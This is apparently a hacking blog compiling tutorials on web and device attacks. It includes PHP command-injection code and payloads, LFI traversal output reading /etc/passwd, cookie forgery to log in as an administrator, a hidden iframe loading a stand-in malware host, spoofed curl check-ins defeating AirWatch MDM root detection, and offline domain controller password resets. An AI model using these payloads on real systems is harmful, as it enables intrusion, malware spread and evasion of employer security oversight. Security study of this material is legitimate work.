Selvidiya Testing

How to Use BlindElephant Tool in kali linux

<div dir="ltr" style="text-align: left;" trbidi="on">Jai Hind Friends I am DeadManINDIA as u know today i m going to explain how we use the BlindElephan.py tool in kali linux. Greetz To :- Null_Port_Govind,EagleShadow,Haxor Rahul,Mr.R@66!T,Grey-Noob,Spy-Hunter,Karate-Katrina,IndiWar,X-MAN-INDIA,Satish Choudhary ,Mahi Di. Love to ----->>>>My Mother And My Father. So lets Start :-   1 Open Terminal and type BlindElephant.py Like this <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqSVxMnUyxXJmavGMmvk56-73B4SPkY9HgwMTj4Bkljf5RL0EAEnAZM2xI8Pw6leQuWuITfZ4jwRlwhJiJPXEyfiek1dMHUBaOSRWe0TgANWT0sgGtpi2gxxgXRX2wTNCqUfCUI9FMU7oc/s1600/Screenshot+from+2014-04-28+23:54:08.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqSVxMnUyxXJmavGMmvk56-73B4SPkY9HgwMTj4Bkljf5RL0EAEnAZM2xI8Pw6leQuWuITfZ4jwRlwhJiJPXEyfiek1dMHUBaOSRWe0TgANWT0sgGtpi2gxxgXRX2wTNCqUfCUI9FMU7oc/s1600/Screenshot+from+2014-04-28+23:54:08.png" width="320" /></a></div>2  Read The Options carefully and then take next steup. 3 Then use this command Syntax:- BlindElephant.py <site url> <type of site > In this we are type or paste the url of site on the place of <site url>and type of site like wordpress ,joomla, or other what kind of site you are going to scan. see in my case i use like this <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-HIpivlF1IIJnKcowN02QWMgRRGeCS_MWY9Qn6hv_fXKsUmKsUL_S8jNdER4Utam4_iDXLz6xNGRe3Hw6-Xzfg3HtHoMIvuaqurdYPm-goBSS2iDY6airaVRtkRbi2h13TrpHEDbBeS3o/s1600/Screenshot+from+2014-04-29+00:05:30.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-HIpivlF1IIJnKcowN02QWMgRRGeCS_MWY9Qn6hv_fXKsUmKsUL_S8jNdER4Utam4_iDXLz6xNGRe3Hw6-Xzfg3HtHoMIvuaqurdYPm-goBSS2iDY6airaVRtkRbi2h13TrpHEDbBeS3o/s1600/Screenshot+from+2014-04-29+00:05:30.png" width="320" /></a></div>And in the last you find your result. Thanks for reading give your feedback on Facebook Or Skype FB = DeadManINDIA Skype= DeadmanINDIA1                                                Jai Hind                                               Jai Bharat</div>

How to Use BlindElephant Tool in kali linux

Jai Hind Friends I am DeadManINDIA as u know today i m going to explain how we use the BlindElephan.py tool in kali linux. Greetz To :- Nu...

Remote Code Execution (RCE)

<div dir="ltr" style="text-align: left;" trbidi="on">Remote Code Execution (RCE)  I'm going to demonstrate you the Remote Code Execution vulnerability. The main reason of this vulnerability is taking the un-filtered user input as a part of the command that will be executed. Injection vulnerabilities (SQL, XPath, LDAP etc.) can be classified as RCE Vulnerabilities. For example our source code will be like this; <div class="codeblock phpcodeblock"><div class="title">PHP Code: </div><div class="body"><div dir="ltr"><code><?php <html> <a href="?cmd=echo %TIME%">View Time</a><br> <? if(isset($_GET['cmd'])) print "Current Time:  " . shell_exec($_GET['cmd']); ?></html> </code></div></div></div><img alt="[Image: puuwl.png]" border="0" src="http://u1307.hizliresim.com/1c/3/puuwl.png" /> As you can see, our page is executing a MS-DOS command to view the current time. Note: This is not necessary actually. We can simply use the date() function of Php to view the current time. Back to our subject. There is a parameter named "cmd" that takes its value via GET method. As you can guess, we can manipulate that parameter and execute any MS-DOS command we like. <div class="smalltext" id="fop_topbar1" style="background: url("") no-repeat scroll left center rgb(26, 26, 26); cursor: pointer; margin: 0px; padding: 3px 3px 3px 20px; text-align: left; width: 653px;">Image has been scaled down 16% (676x202). Click this bar to view original image (799x238). Click image to open in new window.</div><div id="fop_img1" style="cursor: pointer; margin: 0px; width: 676px;"><img alt="[Image: puvcz.png]" border="0" src="http://j1307.hizliresim.com/1c/3/puvcz.png" style="width: 676px;" /></div> We just gathered information about BIOS. Imagine how many you can do with this vulnerability if the user had full access. <blockquote><cite> (07-05-2013 02:32 AM)The Alchemist Wrote: <a class="quick_jump" href="http://www.hackcommunity.com/Thread-Tutorial-Remote-Code-Execution-RCE?pid=146317#pid146317"> </a></cite>Another form of this vulnerability can be : <div class="codeblock"><div class="title">Code: </div><div class="body" dir="ltr"><code><form action="add.php" method="post"> <textarea rows="20" cols="30" name="text"></textarea> <input type="submit" value="Submit" name="sub"/> </form></code></div></div> add.php : <div class="codeblock phpcodeblock"><div class="title">PHP Code: </div><div class="body"><div dir="ltr"><code><?phpif(!empty($_POST['text'])) {     $hand = fopen("some.php","a");     fwrite($hand,$_POST['text']);     fclose($hand); }?></code></div></div></div> And when someone executes some.php.....</blockquote> Another example: <div class="codeblock"><div class="title">Code: </div><div class="body" dir="ltr"><code><form action="#" method="POST"> Enter your name: <input type="text" name="name"> <input type="submit" value="Send"> </form> <?php if(!empty($_POST['name'])){ $filename = "some.shtml"; $file = fopen($filename, 'w') or die ("File couldn't opened!"); $text = "Hello ".$_POST['name']."!"; fwrite($file, $text); fclose($file); print '<a href="some.shtml">Click Here To Go!</a>'; } ?></code></div></div> If you put in name field a SSI command, It'll be saved to some.shtml and will be executed when you open it. More example; <blockquote><cite> (07-05-2013 08:54 PM)shp0ngl3 Wrote: <a class="quick_jump" href="http://www.hackcommunity.com/Thread-Tutorial-Remote-Code-Execution-RCE?pid=146488#pid146488"> </a></cite>This is a nifty little vuln with possible severe outcome if in wrong hands. I've seen several ping services that's vulnerable to this. I've seen code similar to this <div class="codeblock"><div class="title">Code: </div><div class="body" dir="ltr"><code><?php $target = $_POST['target']; exec("ping {$target}", $output); foreach ($output as $line) {     echo "{$line} \n"; }</code></div></div> So, executing commands is as easy as in your own terminal <div class="codeblock"><div class="title">Code: </div><div class="body" dir="ltr"><code>-c 0 google.com;ls -la /</code></div></div>or <div class="codeblock"><div class="title">Code: </div><div class="body" dir="ltr"><code>-c 1 google.com && ls -la /</code></div></div></blockquote> This is the logic of Remote Code Execution. To avoid this vulnerability, dont use the user input in your commands that will be execute. If you have to use, check and filter them properly. I hope you'll like this tutorial <img alt="Smile" border="0" src="http://www.hackcommunity.com/images/twist-sd/smiley/Smile.png" style="vertical-align: middle;" /> </div>

Remote Code Execution (RCE)

Remote Code Execution (RCE) I'm going to demonstrate you the Remote Code Execution vulnerability. The main reason of this vulnerabil...

Bypassing AirWatch Root Restriction

<div dir="ltr" style="text-align: left;" trbidi="on">Mobile devices are becoming more common in corporate environments. As a result, mobile device management solutions (MDM) have cropped up so that employers can remotely manage and wipe devices if necessary along with setting certain requirements that employees must comply with, such as setting a passcode, encrypting the device, and not jailbreaking or rooting the device. It’s certainly not a bad idea to enforce restrictions on devices that may contain sensitive information. However, bypassing some of the restrictions that an employer may put in place it not difficult. This is especially true if someone wants to keep their device rooted.  There are many contenders in the sphere of MDM software. For this blog I will be looking at AirWatch for Android. The device I will be using is a rooted Nexus 4 running Android 4.2.2. <a href="https://www.netspi.com/blog/entryid/192/bypassing-airwatch-root-restriction#update">[Note Update at End of Post - 09.13.13]</a> <h2>Background</h2>AirWatch is an MDM solution that provides employers with the ability to manage mobile devices and enforce policies. An agent is installed on the device and monitors whether the device is compliant or not for specific policies. If a device is found to be non-compliant, the agent phones home to a server, notifying the employer of a non-compliant device. Here is the default web interface for an AirWatch enrolled device. As you can see, my Nexus 4 is enrolled, is encrypted, and requires a passcode. However, it is still not compliant because my device has been “compromised,” i.e. rooted by myself. A poor word choice in my opinion. The same can be seen on the AirWatch agent. <img alt="" height="339" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_1.png" width="600" /> <img alt="" height="501" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_2.png" width="300" /> If we navigate to the compliance section, we can see why we are not compliant. <img alt="" height="500" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_3.png" width="300" /> Again, the agent shows that we are encrypted, but our device is “compromised.” <h2>Digging Deeper</h2>At this point I want to know how AirWatch is detecting that my phone is rooted. I tried removing the su binary and any superuser applications, but that didn’t seem to work. As a rooted phone, we can certainly grab the apk of the agent and tear it apart. That only revealed obfuscated java classes that would take a while to decipher. Next, I tried running strace against the agent process to get an idea of the calls that it is making, hoping that there would be something there that reveals what it is doing to detect root. Again, there weren’t any answers that I could find. I decided to shelve looking for how AirWatch was detecting root for another day and instead I started focusing on the HTTP request and responses that the agent was sending and receiving. I started burp and setup a proxy on my Nexus 4. There is a fair amount of traffic that goes between the AirWatch agent and the server it’s talking to. One request in particular caught my eye. <img alt="" height="201" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_4.png" width="1088" /> This AirWatchBeacon checkin request. I omitted some of the more sensitive information in the request. As you can see there is an “IsCompromised” field in the request that is set as true. So I change that to false and sent the request off. After refreshing the web interface, my device is no longer compromised. <img alt="" height="393" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_5.png" width="650" /> The agent also shows that my device is no longer compromised. <img alt="" height="500" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_6.png" width="300" /> So now we know how the agent is checking into the server and whether or not your device is compromised. By changing a simple flag, we now control that. Furthermore, there doesn't seem to be any type of session information related with the request. We can replay the same request hours, even days later, and the server will accept it. The only downside now is that the agent will periodically do a check-in request with the server and report that the device is compromised. It’s a hassle to send a non-compromised request every time we want to be compliant. The first step I took in resolving this issue was to look at the AirWatch configuration options in its SQLite database. Using the SQLite Editor app from the Android market, I open up the AirWatch database with root access. <img alt="" height="500" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_7.png" width="300" /> Selecting the AirWatch database reveals a number of interesting tables. <img alt="" height="500" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_8.png" width="300" /> The profileGroupSetting table is where most of the AirWatch configurations are stored. <img alt="" height="499" src="https://www.netspi.com/Portals/0/images/Blog/EG_Bypass_Airwatch/Bypass_Airwatch_9.png" width="300" /> There are a few rows that look interesting. The ones that contain interval in the name seem to set how often the AirWatch requests are sent. I tried changing the BeaconInterval to large values to see if it would take longer for the check in requests to be sent. That didn't seem to work. Neither did setting the value to zero or a negative value. For the most part, setting the interval values do not seem to do anything in my testing. There is, however, another way to stop AirWatch from sending out request. Modifying the Android hosts file to block the host that the requests are being sent to. The Android hosts file is located in /system/etc/. Again, you have to be root to be able to modify the hosts file. I modified the hosts file to redirect the requested host to my localhost. The requested host is going to be different for every company, so I won’t be showing that. It’s been well over a week and my device has still not checked in and still shows that I’m compliant. The only downside to not checking in often is that your device will show as not being seen for sometime. You employer may have a policy in place to remove devices that AirWatch shows as being inactive. One way to mitigate this is to periodically send out the checkin request yourself. Simply setting up a cronjob with curl to send out the checkin request work very well. <div class="reCodeBlock" style="border: 1px solid #7f9db9; overflow-y: auto;"><div style="background-color: white;"><code style="color: grey;">#!/bin/bash</code></div><div style="background-color: #f8f8f8;"> </div><div style="background-color: white;"><code style="color: black;">curl -X POST -d @request https:</code><code style="color: #008200;">//host/DeviceServices/AirWatchBeacon.svc/checkin -H "Content-Type: application/json" -H "User-Agent: AirWatch Agent/4.0.401/Android/4.2.2" -H "Host: host"</code></div></div> Here is the json POST request data the curl command uses for –d @request: <div class="reCodeBlock" style="border: 1px solid #7f9db9; overflow-y: auto;"><div style="background-color: white;"><code style="color: black;">{</code><code style="color: blue;">"payLoad"</code><code style="color: black;">:{</code><code style="color: blue;">"FriendlyName"</code><code style="color: black;">:</code><code style="color: blue;">"Android_sdNexus 4_353918050698915"</code><code style="color: black;">,</code><code style="color: blue;">"Model"</code><code style="color: black;">:</code><code style="color: blue;">"Nexus 4"</code><code style="color: black;">,</code><code style="color: blue;">"CustomerLocationGroupRef"</code><code style="color: black;">:</code><code style="color: blue;">"YourGroup"</code><code style="color: black;">,</code><code style="color: blue;">"PhoneNumber"</code><code style="color: black;">:</code><code style="color: blue;">"1111111111"</code><code style="color: black;">,</code><code style="color: blue;">"DeviceType"</code><code style="color: black;">:5,</code><code style="color: blue;">"C2dmToken"</code><code style="color: black;">:</code><code style="color: blue;">"APA91bHcoJnegJy23fPaa2Fg2miP0vJEuC9aVcAw9iuwKb8AQcnzr7OyiXShrJSGD_AajBPUwuSm4Y_gcuz3ibnnjfbfpkLnAnoF599IM2yZhTVaUq0XWLKFfNP11oYzIavq4OjTO5DH4y3XpkvWmQBD16qkFJEg1BFFuOA2y1SJo6aE2yILIIo"</code><code style="color: black;">,</code><code style="color: blue;">"IsCompromised"</code><code style="color: black;">:</code><code style="color: blue;">"false"</code><code style="color: black;">,</code><code style="color: blue;">"OsVersion"</code><code style="color: black;">:</code><code style="color: blue;">"4.2.2"</code><code style="color: black;">,</code><code style="color: blue;">"SerialNumber"</code><code style="color: black;">:</code><code style="color: blue;">"1111111111"</code><code style="color: black;">,</code><code style="color: blue;">"Name"</code><code style="color: black;">:</code><code style="color: blue;">"Google occam"</code><code style="color: black;">,</code><code style="color: blue;">"MacAddress"</code><code style="color: black;">:</code><code style="color: blue;">"ff:ff:ff:ff:ff:ff"</code><code style="color: black;">,</code><code style="color: blue;">"DeviceIdentifier"</code><code style="color: black;">:</code><code style="color: blue;">"11111111111111"</code><code style="color: black;">,</code><code style="color: blue;">"AWVersion"</code><code style="color: black;">:</code><code style="color: blue;">"4.0.401"</code><code style="color: black;">,</code><code style="color: blue;">"TransactionIdentifier"</code><code style="color: black;">:</code><code style="color: blue;">"a8098ea5-a54e-412f-a911-a58920a24dc7"</code><code style="color: black;">}}</code></div></div> Finally add the bash script to your crontab by running “crontab –e” to edit the crontab and add the following at the end of the file: <div class="reCodeBlock" style="border: 1px solid #7f9db9; overflow-y: auto;"><div style="background-color: white;"><code style="color: black;">0 */2 * * * /root/command.sh</code></div></div> This will cause the script to run every two hours.  Conclusion MDM solutions are great for employers to manage mobile devices. However, they are not without their problems. Not only was I able to bypass compliance for having a rooted device, but I was also able to bypass the need to encrypt my device from the profileGroupSetting table. Bypassing compliance restrictions for AirWatch is relatively trivial after a few hours and I’m sure it is probably similar with many others MDM solutions. </div>

Bypassing AirWatch Root Restriction

Mobile devices are becoming more common in corporate environments. As a result, mobile device management solutions (MDM) have cropped up so...

How to use lfimap for LFI

<div dir="ltr" style="text-align: left;" trbidi="on"><h1>Installation</h1><pre>$ cd /data/src/ $ wget <a class="external free" href="http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz" rel="nofollow" target="_blank">http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz</a> $ mkdir -p /pentest/web/ $ tar xvzf lfimap-1.4.8.tar.gz -C /pentest/web/ </pre><h1>Usage</h1><h2>Syntax</h2><pre>$ python lfimap.py -t <target> [options] </pre><h2>Options</h2><dl><dt>--target, -t <target></dt><dd>Target. E.g. http://www.test.com/ss.php?page=[LFI HERE] </dd></dl><dl><dt>--null, -n</dt><dd>Put a null byte to bypass some controls </dd></dl><dl><dt>--user, -u <user></dt><dd>Is used to send username in basic authentication </dd></dl><dl><dt>--passw, -p <password></dt><dd>Is used to send password in basic authentication </dd></dl><dl><dt>--proxy, -w <proxy></dt><dd>Proxy support </dd></dl><dl><dt>--output, -o <file></dt><dd>Set Output file </dd></dl><dl><dt>--hexa, -x</dt><dd>Encode the url to hexa </dd></dl><h1>Examples</h1><h2>Example #1: PoC</h2><h3>Description</h3>The following example is based on a specific vulnerable code (<a class="external text" href="http://dl.dropbox.com/u/10761700/poc-local-file-inclusion.rar" rel="nofollow" target="_blank">download it here</a>) that doesn't properly check/sanitize user inputs and is hence vulnerable to LFI attacks. LFIMap has been tested against this application as a Proof of Concept. <h3>Stdout</h3>LFIMap has been called with following parameters: <pre>$ python lfimap.py -t "http://127.0.0.1/poc/LFI/index.php?page=page2.txt" -o report.html </pre>Here is the output on the screen: <pre> lfi detected in "page" parameter -------------------------------------------------------------------- Made by Augusto Pereyra Thanks to www.artsweb.com.ar This code is distributed under GPL Licence Detecting root path of site -------------------------------------------------------------------- Going down 0 folder Going down 1 folder Going down 2 folder Going down 3 folder Going down 4 folder Going down 5 folder root path finded in: ------------------------------------------------------------- http://127.0.0.1/poc/LFI/index.php?page=../../../../../& The root of the File system was found 6 levels down This is a Linux System ------------------------------------------------------------- 2011-02-03 06:52:45.401371 File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../proc/version& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/apache2/apache2.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/mysql/my.cnf& Possible password detected in this file ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/sysctl.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/passwd& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ts.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ca-certificates.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/debconf.conf& Possible password detected in this file ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/bash_completion.d/debconf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/xdg/user-dirs.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/gnome-vfs-2.0/modules/default-modules.conf& (...TRUNCATED...) </pre><h3>Generated report</h3>Here is an extract of the generated html report: <a class="image" href="http://www.aldeid.com/wiki/File:Lfimap-generated-report-1.png"><img alt="Lfimap-generated-report-1.png" height="333" src="http://www.aldeid.com/w/images/thumb/8/8c/Lfimap-generated-report-1.png/640px-Lfimap-generated-report-1.png" title="" width="640" /></a> <h3>Proof of Concept</h3>By clicking on one of the links from the generated html report, here is the proof of concept. We can see that the application is vulnerable to LFI attacks. <a class="image" href="http://www.aldeid.com/wiki/File:Lfimap-poc-1.png"><img alt="Lfimap-poc-1.png" height="369" src="http://www.aldeid.com/w/images/thumb/7/77/Lfimap-poc-1.png/640px-Lfimap-poc-1.png" width="640" /></a></div>

How to use lfimap for LFI

Installation $ cd /data/src/ $ wget http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz $ mkdir -p /pentest/web/ $ tar xvzf lfimap-1.4.8....

All About Cookies and Security

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 class="articleheading">What are cookies and how are they used by websites and web admins?</h3> Cookies identify you to the site. They store settings about your customized look and feel for the pages you view, your username and encrypted password or user id, who referred you to the site, profile preferences, and just about any kind of information the admins want them to store to customize your user experience. Cookies are most commonly used to give you access to login protected pages once you've entered your information, identify you in content that you change on the site (forum posts or article comments, for example), tell the administrators how you found the site, and more. Again, cookies will function as their creators have written them to function. This sounds like a simple, obvious statement, but it can't be overlooked. We'll see why later. <h3 class="articleheading">So what are the effects if cookies are manipulated?</h3> Insecure cookies can be changed to allow you access to protected pages (ex admin), change your user id to impersonate other users, etc. Up until now, this tutorial has been all theoretical information, so how about a little real-life application now? I remember testing a website whose admin knew very little about security. The website worked like this: the user would log in and the site would check the username and password combination. If they were correct, then the site would give the user a cookie containing their user id (ex: 1428) to identify them to the site for the remainder of their session, their username to be displayed on the content they changed (ex: fourthdimension), and some other miscellaneous info like local time, referrer, etc. Like I mentioned earlier, sites will only use cookies as well as their administrator created them to. Are you beginning to see what could happen if administrators use cookies insecurely like this one did? If not, you will in a few minutes. The minute I saw my cookie and understood how the site used it, I knew the site was mine. The first thing I did was fool around with changing the value of my username. Sure enough, when I posted comments on the site, the comment author fields displayed whatever I had just changed my cookie's username value to. Well, that was fun, but not very useful unless I wanted to use it for phishing or social engineering, none of which were objectives in this test, so I decided to take note of it in my report and move on. What about the user id field? Like I said, the site would check for a valid username/pass combo ONCE, when the user logged in. After that, it relied on the cookie to tell it who the user was. That made the user id field a pretty promising field to change if I want to escalate my privileges on the site or control other users' accounts. Sure enough, as I changed the user id, I would change who I was logged in as. (Note that the display name didn't change because that was stored seperately as I mentioned earlier, but all the user info and preferences, etc changed, so I was sure that it worked.) Working on the assumption that the user id wasn't a randomly generated number but actually the member number assigned by the order of registration, I decided to try for the admin's account, which would have the user id of 1 or 0001 or something along those lines. After a few minutes of tweaking that logic, I was logged in as the site administrator. After finding a few more errors (xss, php validation, etc) I sent him the report. So now do you see how powerful changing your cookie can be if site administrators don't user secure cookies or use their cookies securely? I didn't even need to know the admin's username or password, and since there were no visible attacks on the site, there was nothing to raise anyone's suspiscion. Cookies can be usefull tools when used correctly by web admins, but powerfull attack vectors to be exploited when used incorrectly. So now that you understand the theory and applications of cookies, you're probably wondering how you can edit them on your own. There are many ways to change cookies, such as javascript injections, dozens of firefox addons, etc. My favorite way is by using a firefox addon called Firecookie, which is actually an extension to another firefox addon, firebug. You can download them from mozilla's official addon site (firebug must be installed first): Firebug: <a href="https://addons.mozilla.org/en-US/firefox/addon/1843" rel="nofollow" target="_blank">https://addons.mozilla.org/en-US/firefox/addon/1843</a> Firecookie: <a href="https://addons.mozilla.org/en-US/firefox/addon/6683" rel="nofollow" target="_blank">https://addons.mozilla.org/en-US/firefox/addon/6683</a> If you don't have firefox, get firefox. Now that you have them installed, I'll give you a quick guide to editing cookies with them. There's a lot more you can do with firebug, so I'd encourage you to look at some tutorials for its other features as well, like editing pages' source code on the fly with its Inspect feature. That aside, back to editing cookies. Click the firebug icon on the bottom right of your firefox window. Now click on the Cookies tab at the top of the window that pulls up. Fill in the checkbox for Cookies and click apply. Click OK on any windows that pop up about resending data. Now you should see a listing of the cookie field and values, among other things. Right click on the field you want to change and click edit. Change the value field to whatever you want. You may need to change the session only check box or the expiration date to get the cookie to stay once the page has refreshed, depending on the page. Once you've changed the value, refresh the page. If you still see your cookie in the firecookie window, then your cookie is in effect. If not, you may need to play with some of the settings as I mentioned earlier.</div>

All About Cookies and Security

What are cookies and how are they used by websites and web admins? Cookies identify you to the site. They store settings about your customi...

What is an IFrame Injection?

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="color: #990000;"> What is an IFrame Injection?</div>Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites.  So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website.  Malware  will be loaded to your computer, now you are infected<a href="https://www.blogger.com/null" name="more"></a> <div style="color: #134f5c;">What is IFrame Tag?</div><Iframe> tag stands for Inline Frame.  It is used to insert contents from another website or server.  That can be useful for building online applications. <div style="color: #134f5c;">IFrame Injection Attack:</div>Malware Attackers use this IFrame and include the malware websites. They are able to include the webpage one pixel square(You won't able to see it in webpage). Obfuscate the JavaScript that will run automatically from that included page so that it looks something like %6C%20%66%72%61%6D%65%62%6F - leaving no obvious clue that it's malicious. <div style="color: #990000;">What an attacker can do with Iframe Injection?</div>Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected site links, redirect to malware infected sites and more. <div style="color: #7f6000;"> </div><div style="color: #7f6000;">Iframe Injection Tutorial:</div>1.First of all attacker will find the Vulnerable websites using google dorks. 2. They test the vulnerability by inserting some iframe tag using the url. 3. then insert the Malicious Iframe code inside the webpage. For Example: he can insert this code using the url: <div class="code_box"><iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe> For php webpages: echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”; Obfuscate javascript <script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){…  </div> 4. So if the clients load page, his system will be infected. <div style="color: #38761d;"> </div><div style="color: #38761d;">What you have to do ,if youinfected by Iframe Injection?</div> <ol><li>Change your passwords of ftp, control panel and database.</li><li>Inform to your hosting service about the injection attack and they will take care of server injection .</li><li>Download all your files from the hosting and  check whether they are infected or not. if you found any infected files, clean it.</li><li>Buy a good antivirus software, Scan your Computer completely.</li><li>Don't use the Public systems for logging into your Hosting service.</li></ol><div style="color: #990000;">Webmasters  should take care(affects page rank,visitors)  </div>Webmaster, If you find your website is infected by Iframe Injection, then try to clean it as soon as possible before google detects it.  If the google detects it, it will show the Pop up message to your users " This site may harm your computer". Definitely , users won't come back to your site .  Also google will set black mark for your website.  You will lost your page rank and visitors. If you want to check the what google thinks about your websites, then use this link: <blockquote>http://www.google.com/safebrowsing/diagnostic?site=http://siteurl</blockquote></div>

What is an IFrame Injection?

What is an IFrame Injection? Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popu...

How to Break Domain Controller Password without Logging In

<div dir="ltr" style="text-align: left;" trbidi="on">Forgot domain administrator password and couldn’t log on your domain controller? This is the most common password problems that many network administrators and system administrators face when dealing with domain controller. Here we’ll show you an easy way to break domain controller password quickly and easily. <a href="http://www.top-password.com/reset-windows-password.html" style="text-decoration: underline;">Reset Windows Password</a> is the powerful utility which enables you to break domain controller password on Windows Server 2008/2003/2000. This utility works offline, that means you need to shut down your computer and boot off your computer using a CD or USB stick. How this software works? Windows Active Directory stores the domain user passwords and other account information in a file called NTDS.dit. This file can be usually found in:\windows\ntds. This file is a part of Active Directory database and remains inaccessible as long as the domain controller is running. Hence, it is necessary that you boot off your computer and access this NTDS.dit file via the boot disk. This tool intelligently gains access to this file and will reset/change the password associated with administrator or any other domain user account. How to break domain controller password without logging in? The steps involves burning a Live CD on another accessible computer, and then boot up your domain controller with the Live CD so you can break domain controller without even logging in. <ol><li><a href="http://www.top-password.com/download/reset_windows_password_trial.zip" target="_blank">Download</a> the Reset Windows Password utility. Unzip the download file and you’ll get a ResetWindowsPwd.iso file.</li><li>Burn the ISO image file to a blank CD using any burning program (we recommend <a href="http://www.top-password.com/download/burncdcc.zip" target="_blank">BurnCDCC</a>) that can burn ISO images.</li><li>After you have the Live CD, bring it to boot off your domain controller whose password you want to break. You’ll see that the computer will load some files inside the Live CD and launch the Reset Windows Password utility.<img alt="" height="400" src="http://www.top-password.com/images/windows_ad_pwd.png" title="unlock active directory user account" width="450" /></li><li>Click on the Reset Active Directory Password option, then choose the Active Directory ntds.dit database file from the drop-down list. It will display the domain user accounts and you can find which account is password-protected, locked out or disabled.</li><li>Choose a user account and then click on the Reset Password button, it will break your domain account and change the forgotten/unknown password to a new one: Password123.</li><li>Now remove the Live CD and restart the computer, you can then log in to your domain user account with the new password.</li></ol>With the Live CD you can also use it to reset local admin/user passwords on Windows Server 2008/2003/2000 and Windows 8/7/Vista/XP. It’s a must-have Live CD for network administrators and system administrators.</div>

How to Break Domain Controller Password without Logging In

Forgot domain administrator password and couldn’t log on your domain controller? This is the most common password problems that many networ...